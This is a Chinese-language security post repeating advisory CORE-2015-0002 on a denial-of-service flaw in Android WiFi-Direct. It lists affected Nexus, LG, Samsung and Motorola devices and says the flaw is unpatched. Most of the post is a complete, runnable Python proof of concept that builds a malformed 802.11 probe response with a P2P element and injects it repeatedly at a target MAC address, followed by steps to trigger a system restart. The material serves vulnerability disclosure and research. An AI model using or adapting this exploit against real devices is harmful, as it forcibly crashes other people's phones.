[CORE-2015-0002] - 安卓Wifi直连拒绝服务漏洞

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lxj616 (简介) | 2015-01-29 12:06

[CORE-2015-0002] - Android WiFi-Direct Denial of Service
http://seclists.org/fulldisclosure/2015/Jan/104

部分安卓设备在搜索Wifi直连设备时可遭受拒绝服务攻击

攻击者可以发送一个精心构造的802.11响应信号帧 使Dalvik子系统由于WiFiMonitor类中未捕获的异常而重启

受影响设备版本：
   . Nexus 5 - Android 4.4.4
   . Nexus 4 - Android 4.4.4
   . LG D806 - Android 4.2.2
   . Samsung SM-T310 - Android 4.2.2
   . Motorola RAZR HD - Android 4.1.2

在4.4.4系统上复现成功

由于安卓官方回应“该漏洞影响较小，没有时间修复”，目前该漏洞没有任何补丁

POC：

#!/usr/bin/env python

import sys
import time
import struct
import PyLorcon2


def get_probe_response(source, destination, channel):
  frame = str()
  frame += "\x50\x00"  # Frame Control
  frame += "\x00\x00"  # Duration
  frame += destination
  frame += source
  frame += source
  frame += "\x00\x00"  # Sequence Control
  frame += "\x00\x00\x00\x00\x00\x00\x00\x00"  # Timestamp
  frame += "\x64\x00"  # Beacon Interval
  frame += "\x30\x04"  # Capabilities Information

  # SSID IE
  frame += "\x00"
  frame += "\x07"
  frame += "DIRECT-"

  # Supported Rates
  frame += "\x01"
  frame += "\x08"
  frame += "\x8C\x12\x98\x24\xB0\x48\x60\x6C"

  # DS Parameter Set
  frame += "\x03"
  frame += "\x01"
  frame += struct.pack("B", channel)

  # P2P
  frame += "\xDD"
  frame += "\x27"
  frame += "\x50\x6F\x9A"
  frame += "\x09"
  # P2P Capabilities
  frame += "\x02" # ID
  frame += "\x02\x00" # Length
  frame += "\x21\x00"
  # P2P Device Info
  frame += "\x0D" # ID
  frame += "\x1B\x00" # Length
  frame += source
  frame += "\x01\x88"
  frame += "\x00\x0A\x00\x50\xF2\x04\x00\x05"
  frame += "\x00"
  frame += "\x10\x11"
  frame += "\x00\x06"
  frame += "fafa\xFA\xFA"

  return frame


def str_to_mac(address):
  return "".join(map(lambda i: chr(int(i, 16)), address.split(":")))


if __name__ == "__main__":
  if len(sys.argv) != 3:
    print "Usage:"
    print "  poc.py <iface> <target>"
    print "Example:"
    print "  poc.py wlan0 00:11:22:33:44:55"
    sys.exit(-1)

  iface = sys.argv[1]
  destination = str_to_mac(sys.argv[2])

  context = PyLorcon2.Context(iface)
  context.open_injmon()

  channel = 1
  source = str_to_mac("00:11:22:33:44:55")
  frame = get_probe_response(source, destination, channel)

  print "Injecting PoC."
  for i in range(100):
    context.send_bytes(frame)
    time.sleep(0.100)

运行poc，在 设置-wlan-右下按钮wlan直连-搜索设备时触发漏洞，系统重启